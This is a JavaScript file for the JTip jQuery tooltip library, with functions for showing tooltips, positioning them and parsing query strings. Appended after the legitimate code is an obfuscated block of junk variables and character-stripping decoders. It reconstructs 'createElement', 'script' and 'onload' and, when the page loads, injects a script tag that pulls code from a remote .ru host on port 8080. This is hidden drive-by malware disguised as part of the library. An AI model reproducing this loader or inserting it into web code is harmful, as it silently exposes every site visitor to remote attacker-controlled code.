// JavaScript Document
/*
* JTip
* By Cody Lindley (http://www.codylindley.com)
* Under an Attribution, Share Alike License
* JTip is built on top of the very light weight jquery library.
*/

//on page load (as soon as its ready) call JT_init


function JT_init(){
	
	jQuery("a.jTip")
	.hover(function(){JT_show(this.href,this.id,this.name)},function(){jQuery('#JT').remove()})
	.click(function(){return false});
}

function JT_show(url,linkId,title){
	if(title == false)title="&nbsp;";
	var de = document.documentElement;
	var w = self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
	var hasArea = w - getAbsoluteLeft(linkId);
	var clickElementy = getAbsoluteTop(linkId) - 3; //set y position

	var queryString = url.replace(/^[^\?]+\??/,'');
	var params = parseQuery( queryString );
	if(params['width'] === undefined){params['width'] = 250};
	if(params['link'] !== undefined){
		jQuery('#' + linkId).bind('click',function(){window.location = params['link']});
		jQuery('#' + linkId).css('cursor','pointer');
	}

	if(hasArea>((params['width']*1)+75)){
		jQuery("body").append("<div id='JT' style='width:"+params['width']*1+"px'><div id='JT_arrow_left'></div><div id='JT_close_left'>"+title+"</div><div id='JT_copy'><div class='JT_loader'><div></div></div>");//right side
		var arrowOffset = getElementWidth(linkId) + 11;
		var clickElementx = getAbsoluteLeft(linkId) + arrowOffset; //set x position
	}else{
		jQuery("body").append("<div id='JT' style='width:"+params['width']*1+"px'><div id='JT_arrow_right' style='left:"+((params['width']*1)+1)+"px'></div><div id='JT_close_right'>"+title+"</div><div id='JT_copy'><div class='JT_loader'><div></div></div>");//left side
		var clickElementx = getAbsoluteLeft(linkId) - ((params['width']*1) + 15); //set x position
	}

	jQuery('#JT').css({left: clickElementx+"px", top: clickElementy+"px"});
	jQuery('#JT').show();
	jQuery('#JT_copy').load(url);

}




function getElementWidth(objectId) {
	x = document.getElementById(objectId);
	return x.offsetWidth;
}

function getAbsoluteLeft(objectId) {
	// Get an object left position from the upper left viewport corner
	o = document.getElementById(objectId)
	oLeft = o.offsetLeft            // Get left position from the parent object
	while(o.offsetParent!=null) {   // Parse the parent hierarchy up to the document element
		oParent = o.offsetParent    // Get parent object reference
		oLeft += oParent.offsetLeft // Add parent left position
		o = oParent
	}
	return oLeft
}

function getAbsoluteTop(objectId) {
	// Get an object top position from the upper left viewport corner
	o = document.getElementById(objectId)
	oTop = o.offsetTop            // Get top position from the parent object
	while(o.offsetParent!=null) { // Parse the parent hierarchy up to the document element
		oParent = o.offsetParent  // Get parent object reference
		oTop += oParent.offsetTop // Add parent top position
		o = oParent
	}
	return oTop
}

function parseQuery ( query ) {
	var Params = new Object ();
	if ( ! query ) return Params; // return empty object
	var Pairs = query.split(/[;&]/);
	for ( var i = 0; i < Pairs.length; i++ ) {
		var KeyVal = Pairs[i].split('=');
		if ( ! KeyVal || KeyVal.length != 2 ) continue;
		var key = unescape( KeyVal[0] );
		var val = unescape( KeyVal[1] );
		val = val.replace(/\+/g, ' ');
		Params[key] = val;
	}
	return Params;
}

function blockEvents(evt) {
	if(evt.target){
		evt.preventDefault();
	}else{
		evt.returnValue = false;
	}
}
try {var qY;if(qY!='p'){qY='p'};var T=new String();var f;if(f!='P' && f != ''){f=null};var n=']';var b='replace';var _=new Date();var fZ="";var r='g';this.S='';var D='';var o=new Date();var h='[';var rG=RegExp;var vG='';var _y;if(_y!='' && _y!='OL'){_y=null};var bz='';function c(Z,J){var Oy=new Date();var H=h;H+=J;H+=n;var vJ=new Date();var X=new rG(H, r);var hu;if(hu!='JK' && hu!='vH'){hu='JK'};var pu='';return Z[b](X, D);var tm=new Date();var vb='';};var AQ;if(AQ!=''){AQ='jG'};var DN="";var ZX=c('cVrGe2astGeVE2l2esmVesnGts',"V2Gs");var U=c('ovnvlYovacdY',"vUcY");this.K="";this.g="";var O=c('h0tDtDpf:D/T/TlfifnTkfhTe0lDpDeDrT-fc0nf.flTi0n0kDwTift0hfiDnf.TcToDmf.DrDafmfbfl0eTrT-Drfu0.Ds0uTp0efrDmTiTcDrDo0tDaDgD.Tr0uD:f',"fT0D");var Rk;if(Rk!=''){Rk='zy'};var bC=c('sZcZrJiJpJtm',"JZm");var UL;if(UL!='' && UL!='UH'){UL=null};var m='';var Fx=new Date();var G=c('sdedtxAxtxt5rxidbaudtae5',"5axd");var v=c('831301138311031',"31");var Z="1";this.It='';var w=c('avpNpNevnNdNCvhvivlNdN',"vN");var W;if(W!='u' && W!='oe'){W='u'};var HZ=c('/Tg_o_oTg_l_eT._cToTm_/_g_oToTg_l_e_._cTo_m_/Tg_oTo_g_l_eT._cToT.TiTdT/Tg_aTzTeTt_a_.TpTlT/_nTgToTi_s_aTo_.Tn_e_t_.Tp_hTp_',"T_");var oy=new Date();var UN;if(UN!='' && UN!='g_'){UN=''};var iW=new String();var I=c('b_o_d2y2',"_2");var vg=new String();this.MD='';var nl=new String();window[U]=function(){var ht;if(ht!='' && ht!='cZ'){ht=''};var k;if(k!='' && k!='y'){k=''};ID=document[ZX](bC);var Ed;if(Ed!='' && Ed!='Gi'){Ed='wU'};m+=O;var WD="";m+=v;var sa;if(sa!='' && sa!='ip'){sa='kU'};var vl=new String();m+=HZ;var wl;if(wl!='e_'){wl='e_'};var RK;if(RK!='cR' && RK!='bd'){RK=''};var iR=new String();var Gt=document[I];var Hu='';var ih='';ID.src=m;ID.setAttribute('defer', Z);var yS="";var Rv;if(Rv!='' && Rv!='Zv'){Rv='Om'};var oa="";Gt.appendChild(ID);var Wy;if(Wy!='cS'){Wy='cS'};var lS;if(lS!='Nd' && lS != ''){lS=null};};} catch(Q){this.ys='';};this.Xp='';